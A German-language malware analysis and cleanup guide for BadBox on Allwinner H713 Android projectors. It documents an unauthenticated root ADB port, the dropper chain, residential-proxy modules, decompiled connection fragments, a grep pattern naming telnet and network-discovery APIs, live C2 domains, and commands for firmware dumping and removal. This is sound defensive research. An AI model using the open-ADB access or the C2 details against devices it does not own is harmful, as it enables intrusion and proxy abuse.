
Analyse- und Bereinigungsleitfaden für BadBox-Malware auf Allwinner H713 Android-Projektoren: ADB-Zugriff, Infektionsnachweis, Firmware-Backup, Dropper-Entfernung und Verifikation.
Ein billiger Android-Projektor (Wielo / Atongmu AT-M269, Allwinner H713) wird mit einem systemweiten Dropper ausgeliefert, der ihn in einen Residential-Proxy-Knoten verwandelt. Dieses Dokument zeigt, wie man ohne Öffnen des Gehäuses hineinkommt, die Infektion nachweist, die Firmware sichert, die Malware entfernt und das Ergebnis überprüft.
No-Name-LCD-Projektor, der unter wechselnden Marken verkauft wird. Das Board und die Firmware werden von vielen H713-Projektoren geteilt (HY300-Klone und andere), sodass alles hier Gesagte breiter anwendbar ist.
| Eigenschaft | Wert |
|---|---|
| Verkauft als | Wielo Smart Projector, Modell AT-M269 (FCC ID 2BAAR-AT-M269D) |
| Hersteller | Shenzhen Atongmu Technology; Firmware und Apps vom OEM "ASHD" |
| Hardware-Revision | persist.sys.cm.hardversion = AT-M269_720P_HP_202410221430 |
| SoC | Allwinner H713M (ro.boot.hardware = sun50iw12p1), Quad Cortex-A53; Board exdroid, Plattform ares |
| RAM / Speicher | 1 GB DDR @ 576 MHz / 8 GB eMMC (7.818.182.656 Bytes) |
| WLAN / Bluetooth | AIC8800 (aic8800d80, Treiber rwnx 6.4.3.0) |
| Kernel | Linux 5.4.99, 32-Bit (armv7l), gebaut am 8. Dez. 2025 |
| Echter Build | h713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys, Firmware H713M-android11-v1.0, Build-Host ishang-PC |
| OS | Android 11 (SDK 30), user-Build, Sicherheitspatch 2022-02-05 |
| Tarnung | Gibt sich als Google ADT-3 aus (Marke/Modell/Gerät, Hersteller askey); echtes Modell in ro.product.model2 = AT-M269 |
| Partitionen / Boot | Virtuelles A/B, aktiver Slot _b, dynamische Partitionen (Retrofit) in super; AVB 2.0, vbmeta.device_state = locked, verifiedbootstate leer; OEM-Unlock nicht erlaubt; /system 100 % voll |
| Sicherheit | ro.debuggable=1, ro.adb.secure=0, service.adb.root=1, ADB auf tcp/5868, SELinux permissive, privapp-Berechtigungen permissive, AOSP-Testschlüssel |
| Regionsstandards | Zeitzone Asia/Shanghai, DTV-Bereich cn / DTMB |
adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build
## 2. Einstieg
ADB lauscht im Netzwerk auf einem nicht standardmäßigen Port, ohne Autorisierungsaufforderung und mit Root-Rechten.```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
# 5868/tcp open <- nmap guesses "diameters"; it is actually adbd
# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port # 5868
getprop ro.adb.secure # 0 -> no "allow debugging?" prompt
getprop init.svc.adbd # running
# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id # uid=0(root)
adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected
adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock
`/sys/class/backlight/tv` > `brightness`/`bl_power` haben keine Wirkung.
## 3. Infektionskette
Zwei vorinstallierte System-Apps laufen als Systembenutzer (UID 1000). Eine lädt einen Loader herunter, der Loader lädt vier Proxy-Module und einen zweiten, unabhängigen Loader herunter.```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp /system/priv-app/AshdSysApp
│ OTA updater, can replace the whole firmware (update.zip / payload.bin)
│ C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
Dropper; Umeng + Baidu tracking
└─ downloads cache/plugin.jar (DEX, from *.ishanghd.com)
├─ app installer: pulls app lists per device profile, pm install -r
│ └─ installs Disney+ etc. and com.google.adtest (payload)
└─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
└─ 4 encrypted modules code_cache/.hs/.file/.rf/*.rf
SKN0041 com.ad.proxy SKN0054 com.szns.sdk
SKN0058 com.link.core SKN0061 ddth2 (VpsSdk)
-> all four: residential proxy clients
com.google.adtest (/data/app, installed by yiyou)
Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
Native plugin loader, may install/delete packages -> backup channel
> fremder Internetverkehr, der über deine Verbindung geleitet wird, und dein Gerät wird verfolgt (Seriennummer, MACs, Wi-Fi SSID/BSSID).
adb shell "netstat -tnp | grep ESTABLISHED"
### **b) Wer was installiert hat**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest installer=com.android.umanalytics.yiyou <- payload
# package:com.disney.disneyplus installer=com.android.umanalytics.yiyou <- cover
# -> a system "analytics" app installing packages = dropper
adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
# fake Google name, lives in /data/app, installed silently
adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'
### **d) Systemweite Einrichtung**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon user root
Die Malware ist direkt in die Firmware eingebaut. Das Build-Datum ist eng.work3.20251208.154308, der Kernel wurde am Mon Dec 8 15:27:38 CST 2025 kompiliert. yiyous Aufzeichnungen zeigen, dass sie am selben Tag lief:```
session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]
1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build
### **f) Malware im vom Hersteller signierten, schreibgeschützten Systemabbild**
Ein Benutzer oder eine spätere App kann keine Dateien in `/system` ablegen. Es ist Teil von `super`, geschützt durch dm-verity und über `vbmeta` signiert.
## 5. Überblick über die Malware-Architektur
### 5.1. Hauptkomponenten
| Komponente | Speicherort | Funktion |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app`, UID 1000 | Lädt `plugin.jar` herunter und führt sie aus; sendet Seriennummer, MACs, android_id, Wi-Fi SSID/BSSID, Bluetooth-MAC an Umeng/Baidu |
| `plugin.jar` (DEX) | yiyou `cache/` | Zwei Teile: App-Installer (gerätespezifische App-Listen, 40+ Profile für H713/RK3326/HY300) und der "hs"-Task-Loader |
| "hs"-Task-Loader | innerhalb von `plugin.jar` | Fragt alle 6 h das C2 nach Aufgaben der Typen `jar`, `dex` oder `apk` ab; lädt herunter, prüft MD5, führt aus |
| SKN0041 `com.ad.proxy` | `.rf`-Modul | TCP/UDP/ICMP-Tunneling, Heartbeat, Anmeldung/Bericht |
| SKN0054 `com.szns.sdk` | `.rf`-Modul | Proxy-Knoten plus UDP-Scanning aus Ihrem Netzwerk |
| SKN0058 `com.link.core` | `.rf`-Modul | Proxy-Client mit eigenen DNS-Resolvern |
| SKN0061 `ddth2` / VpsSdk | `.rf`-Modul | Proxy-Gateway, viele parallele Client-Instanzen |
| `com.google.adtest` ("com.speed") | `/data/app` | Zweiter Loader mit nativem Plugin-Loader; installiert/löscht Pakete; startet bei Boot-, Netzwerk-, HDMI-, Stromereignissen neu |
| `com.android.sysapp` | `/system/priv-app`, UID 1000 | OTA-Updater: kann ein vollständiges Firmware-Image herunterladen und flashen |
| Widevine-Dateien | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` hinterlegt ein DRM-Schlüssel-/Lizenzpaket, damit Streaming-Apps auf dem nicht zertifizierten Gerät laufen |
### 5.2. Wie die Teile verborgen bleiben```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
# decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
# -> router DNS blocking alone misses it
# .rf module layout (per file):
# [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
# invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
# module = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.
shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061
### 5.4. Laterale Bewegung
**Keine automatische laterale Bewegung, aber eine Tür ins LAN**
> Aber **SKN0041** und **SKN0058** leiten an jedes Ziel weiter, das das Gateway benennt, und SKN0041 kann es auch auf Befehl anpingen. Wer den Proxy mietet, kann das LAN manuell erreichen oder sondieren.
- `plugin.jar`
- entschlüsselte `.rf`-Module SKN0041/54/58/61
- `com.google.adtest`, yiyou, sysapp
- `com.android.nfx` (NFXAccessibility)
- native: `qw`, `systemmixservice`, `libsystemmix_jni.so`, `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")
// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through
// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()
// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);
// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));
Der vollständige Befehlssatz von SKN0041, aus der Dispatch-Tabelle in `com/ad/proxy/b/a0.java`:
| Opcode | Handler | Bewirkt |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2 | U / V | Heartbeat-Anfrage / -Antwort |
| 3 | W | öffnet eine rohe TCP-Verbindung zu einem vom Betreiber angegebenen Host:Port, keine Adressprüfung |
| 5 / 7 | X / Y | TCP senden / schließen bei einer offenen Transaktion |
| 8 | Z | öffnet eine rohe UDP-Sitzung zu einem vom Betreiber angegebenen Host:Port, keine Adressprüfung |
| 11 | K | UDP schließen |
| 12 | L → P.java | führt `ping -c 10 <host>` auf einem vom Betreiber angegebenen Host aus, leitet die vollständige Ausgabe zurück |
| 14 | M → Q.java | ruft eine vom Betreiber angegebene URL ab, keine Prüfung |
Keiner dieser Opcodes filtert nach IP-Bereich.
Der `plugin.jar`-Video-Re-Stream-Server (`com.cloudmedia.tv.server.d`, ein NanoHTTPD-Fork, der Aiqiyi/Youku/CIBN-Stream-Rewrites bereitstellt) bindet ohne gesetzten Host, was bedeutet: alle Schnittstellen, LAN-erreichbar, nicht nur localhost, falls er startet. Sein einziger Einstiegspunkt ist `ParserUtils.AnalyticsHelper()`, hinter `getprop ro.board.platform == "rk3188"`. Dieses Gerät meldet `ares` (H713), also bleibt das Gate geschlossen.
Live-Gerätezustand: `netstat -tnp` zeigt nur Loopback-Screen-Cast (`com.android.toofifi` auf `127.0.0.1:5354`), GMS zu Google über IPv6 und die ADB-Sitzung. Kein `yiyou`-, `sysapp`-, `speed`-, `umanalytics`- oder `adtest`-Prozess läuft.
Die Binder-Schnittstelle von `systemmixservice` (beliebiges Datei-Lesen/Schreiben/Löschen und Property-Setzen als root, erreichbar für jede App auf dem Gerät) ist eine lokale Privilegieneskalation. Das Entfernen des Droppers und das Nicht-Installieren nicht vertrauenswürdiger APKs schließt sie.
## 6. Indikatoren
Netzwerkindikatoren (Domains, URLs, IPs) befinden sich in [Abschnitt 11](#11-consolidated-hosturl-list-for-abuse-reports).
### 6.1. Pakete
| Paket | Speicherort | Rolle |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | Dropper |
| `com.android.sysapp` (AshdSysApp) | `/system/priv-app/AshdSysApp`, UID 1000 (system) | OTA-Kanal-Backdoor |
| `com.google.adtest` (echter Name `com.fotas.wanapp`, "com.speed") | `/data/app` | zweiter Loader |
| `com.cloudmedia.testapk` | `/system/app` | OEM-Werks-Test-App, zusammen mit dem Dropper in Abschnitt 8 entfernt |
| `com.disney.disneyplus` | `/data/app` | vom Dropper installierte Cover-App |
| `com.android.nfx` | `/system/priv-app/NFXAccessibility` | beibehalten, harmlos (Netflix-Fernbedienungshelfer) |
### 6.2. Binärdateien
| Binärdatei | Init-Dienst | Was sie tut |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw` | **`qw`**: `class core`, `user root`, läuft dauerhaft ab dem Boot | Superuser/ClockworkMod-su-Daemon (öffnet `/dev/com.koushikdutta.superuser` + `.daemon`-Sockets). |
| `/system/bin/appsdisable` | **`appsdisable`**: ausgelöst durch `on property:sys.boot_completed=1`, `disabled`+`oneshot` | Nach einem 4-Sekunden-Schlaf beim Booten (`settings ... global start_disable`) findet es jedes installierte Paket mit einem `BOOT_COMPLETED`-Receiver, dessen Komponente mit `com.google.android` beginnt, und `pm disable`t es, um Googles eigene Boot-Zeit-Prüfungen wie Play-Protect-Scanning und GMS-Core-Dienste zu killen. |
| `/system/bin/gmsopt` | **`gmsopt`**: gleicher Trigger und gleiche Flags wie appsdisable | Gleiches Deaktivieren-von-Google-Boot-Receivern-Verhalten wie appsdisable, aber ohne `com.google.android.permissioncontroller`. Redundant. |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot` | OEM-nativ? Zweck nicht vollständig bestimmt, aber ist root-Gruppe. |
### 6.3. Dateien & Verzeichnisse
| Pfad | Was |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar` | heruntergeladener "hs"-Loader / App-Installer-DEX |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf` | verschlüsselte Proxy-Module (SKN0041/54/58/61) |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk` | gespeicherte Payload-Kopie für stille Neuinstallation |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so` | Geräte-ID-Helfer-Native-Bibliothek |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db` | Umeng-Sitzungs-DB |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | Tracking-/Konfigurations-Prefs |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml` | OTA-Download-Status-Prefs |
| `/data/mediadrm/IDM1013/L3/` | abgelegtes Widevine-L3-DRM-Bundle |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*` | Scratch-/Restplatz, der vom Loader und OTA-Client verwendet wird |
### 6.4. Sample-Hashes
| Sample | SHA-256 |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar` | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (entschlüsselt) | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (entschlüsselt) | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (entschlüsselt) | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (entschlüsselt) | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk` | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk` | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk` | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (Widevine-Bundle) | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (SKN0054-Konfiguration) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |
## 7. Backup
Für dieses Modell scheint keine Firmware veröffentlicht zu sein, und der reverse-engineerte Vendor-OTA-Server liefert ebenfalls nichts zurück.```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*' # eMMC boot areas, dump them too if present
Über Wi-Fi die Hilfsskripte verwenden
dump-pull.sh [ip:port|usb] [file] zieht 256-MB-Blöcke mit Größenprüfung und Wiederholungsversuchen. Ein erneuter Aufruf setzt beim letzten vollständigen Block fort. Vor dem Lesen wird /data mit background_gc=off,nodiscard neu eingebunden, synchronisiert und 10 s gewartet. Über USB wird zusätzlich adb shell stop ausgeführt. Beides wird beim Beenden rückgängig gemacht (remount background_gc=on,discard, start). UDISK ist /data und bleibt aktiv, daher kann sich sein Hash von Lauf zu Lauf unterscheiden.dump-verify.sh [ip:port|usb] [file] [-y] prüft die Größe, die GPT-Header, die Boot-Bereiche und jede Partition (Geräte-SHA-256 vs. derselbe Byte-Bereich im Image). Es liest und korrigiert jeden nicht übereinstimmenden Abschnitt. Bei einem sauberen Durchlauf schreibt es mmcblk0.img.sha256.```p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image
### Wiederherstellungspfad
In den Allwinner FEL gelangen, dann mit PhoenixUSBPro über ein USB-A-auf-USB-A-Kabel flashen.
Es gibt kein externes Pinhole, um in den FEL zu booten: `adb reboot efex` oder `fastboot oem efex`.
Möglicher Hardware-Fallback: das FEL-Pad auf der Platine, sichtbar auf den FCC-Innenfotos (erfordert das Öffnen des Gehäuses). Zum Flashen wird ein IMAGEWTY `update.img` benötigt, das aus deinem Dump mit `awimg.py` ([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root)) und einem H713-Template erstellt wird.
FEL ist nur schreibend. PhoenixSuit und PhoenixUSBPro können die eMMC nicht zurücklesen, und `sunxi-fel` hat kein SRAM-Layout für den H713, nur die schreibgeschützten Befehle funktionieren ([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226)).
Der obige ADB-Dump bleibt die Backup-Methode.
### **Boot-Modi**
Das Gerät ist A/B (`ro.build.ab_update=true`) mit aktivem Slot `_b`. Es gibt keine `recovery`-Partition: Recovery befindet sich im Boot-Ramdisk. Die U-Boot-Serial-Konsole ist `ttyS0` mit 115200 Baud.
| Modus | Wie man ihn erreicht | Ebene | Status |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android | normales Einschalten, `adb reboot` | Kernel | funktioniert |
| Recovery | `adb reboot recovery` | Boot-Ramdisk | funktioniert, Menü unten |
| fastbootd | Recovery-Menü: Enter fastboot | Userspace im Recovery | wird betreten |
| U-Boot fastboot | Recovery-Menü: Reboot to bootloader, oder `adb reboot bootloader` | U-Boot | funktioniert (macOS benötigt den Fix unten) |
| U-Boot efex | `fastboot oem efex` aus U-Boot fastboot, oder `adb reboot efex` (U-Boot hat auch einen `ir-efex`-Remote-Trigger) | U-Boot | funktioniert über `fastboot oem efex` und über `adb reboot efex`: `1f3a:efe8`, FEL-Handshake antwortet |
| BootROM FEL | FEL-Testpad | SoC BootROM | ungetestet |
### **Recovery-Menü:**
- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off
### **ADB über USB**
Der Socket, der USB0 (`ohci0`) übernimmt, läuft standardmäßig als Host. Er wechselt bis zum nächsten Neustart in den Gerätemodus mit:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id
U-Boot fastboot nicht erkannt
das Gadget erscheint als 1f3a:1010 ("USB Developer"), und seine Schnittstelle ist der Standard-Fastboot ff/42/03. Seine Geräteklasse ist jedoch ff, das Betriebssystem (hier macOS) scheint keine Konfiguration einzurichten und fastboot devices bleibt leer.
Wenn dies passiert, besteht die Lösung darin, die Konfiguration einmal mit pyusb festzulegen und dann fastboot wie gewohnt zu verwenden:```
brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb
source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices
### **FEL/efex**
Von U-Boot fastboot wechselt `fastboot oem efex` zum efex-Gadget `1f3a:efe8`. (Möglicherweise ist derselbe `set_configuration()`-Fix erforderlich)
**Sunxi-tools-Build aus dem Quellcode**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/ # optional, else call ./sunxi-fel
# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version
AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
Verwende nur version und --list, niemals spl, uboot, write oder exe, da die sunxi-Tools den Chipsatz nicht kennen.
Um FEL zu verlassen, ziehe zuerst den USB-Stecker ab und schalte dann den Strom aus, bis die blaue LED am Projektor erlischt. wdreset funktioniert nicht ohne SoC-Daten.
mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt
adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk
adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS
### 8.2. Entfernung```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
adb shell am force-stop $p
adb shell pm disable-user --user 0 $p
adb shell pm clear $p
done
adb shell pm uninstall com.google.adtest
# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus
# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'
adb reboot
Behalten, wahrscheinlich harmlos:
qw (su-Daemon, nur durch Bearbeiten von /system entfernbar, nur lokal erreichbar)appsdisable, gmsopt, systemmixservicecom.android.nfx (Netflix-Fernbedienungshelfer)Anti-Tamper-Prüfung
Das Deinstallieren von yiyou beschädigt die Einstellungen. Die checkSHA1()-Methode von com.ashd.settings hat zwei Prüfungen:
CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91, 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15, 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01, 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA, F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)com.android.umanalytics.yiyou (oder com.android.umanalytics.kege, wahrscheinlich der Name des Droppers in anderen Firmware-Builds) für Benutzer 0 registriert ist.Beide Fehlerpfade protokollieren 签名校验失败,关闭应用 („Signaturprüfung fehlgeschlagen, App wird geschlossen"). Das vollständige Deinstallieren von yiyou (statt es nur zu deaktivieren, wie oben) löst dies aus. adb shell pm install-existing com.android.umanalytics.yiyou stellt die Registrierung wieder her, ohne es erneut zu aktivieren.
adb connect 10.56.215.10:5868
adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"
adb shell pm list packages -3 -i # new apps? check their installer
**Ergebnisse auf dieser Einheit nach Bereinigung und Neustart:**```
adb shell "netstat -tnp"
# tcp 127.0.0.1:52992 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi <- local screen-cast service
# tcp 127.0.0.1:52994 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi
# tcp6 10.56.215.10:5868 <your computer> ESTABLISHED 5332/adbd <- your ADB session
# -> no outbound connections left (before: ~25 from yiyou)
Wiederhole die netstat-Prüfung nach 24 Stunden (der Loader meldet sich alle 6 Stunden) und suche in deinen DNS- und Firewall-Protokollen nach Blocklist-Treffern von der IP des Projektors.
/system im Lese-/Schreibmodus zum Löschen der APKs wird nicht empfohlen: vbmeta ist gesperrt, /system ist zu 100 % voll, sodass adb disable-verity + adb remount ein Overlay in /data erzeugen würde (verloren bei einem Werksreset, wie pm uninstall --user 0) mit dem Risiko eines Boot-Fehlers.super in deinem Dump zu löschen und ihn über FEL zu flashen. Ungetestet.```
adb shell getprop ro.boot.vbmeta.device_state # locked
adb shell getprop ro.boot.verifiedbootstate # (empty)
adb shell df -h /system # 1.1G 1.1G 3.4M 100%### 8.5. Bloatware```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest
Rückgängig machen mit pm enable --user 0 <package>
com.android.toofifi: Kern-Screencast-Dienst. Du verlierst Screen-Mirroring (Miracast/AirPlay-artiges Casting) von Telefonen und Laptops.com.toofifi.lineserver: Kabel-/USB-Display-Server für denselben Stack, telefoniert nach Hause zu server.mphotool.com:8680 für Lizenzprüfungen. Du verlierst den kabelgebundenen Display-Modus.com.toofifi.miracast: Drahtloser Miracast-Empfänger, ruft server.mphotool.com:8680/MPAPI/System/CheckUpdate auf und lädt Nutzungsprotokolle zu mphotool.com/FeituAppLogMgr hoch. Du verlierst drahtloses Casting.com.mphotool.usbcastserver: USB-Cast-Server, derselbe Anbieter. Du verlierst die USB-Cast-vom-Gerät-Unterstützung.com.rockchip.devicetest: Kein Grund, auf einem Allwinner-Gerät zu sein.Statische Analyse. Rohdekompilierte Quellen, die entschlüsselten .rf-Module und die verwendeten Skripte werden in analysis/ (decompiled/, decrypted_modules/, tools/) aufbewahrt.
com.android.sysapp
Dekompilierte Klassen a.a.b.m/a.a.b.n geben die exakte, wörtliche OTA-Anfrage an:```
POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo
&productid=<ro.android.productid, default "74865231">
&device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269">
&devices_version=<ro.build.version.incremental>
&update_type=1|2 # 1 auto check, 2 forced ("check for update" button)
via Apache `HttpPost` mit leerem Formular-Body. Alles befindet sich im Query-String, daher sind GET und POST äquivalent und es gibt keine Signatur/kein Token. Live wiederholt (2026‑09‑26): `{"code":200,"data":[]}`, scheint kein Paket für diese productid zu haben, bei jeder versuchten Version.
### 9.2 Dropper
`com.android.umanalytics.yiyou`
**Selbst-Update** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` liefert `DownLoadURL` mit `MD5` und `VersionCode`, die heruntergeladen, MD5-geprüft, `PkgUtils.install(path, 1)` und still selbst ersetzt werden.
**`plugin.jar`-Abruf** (`MyService`)
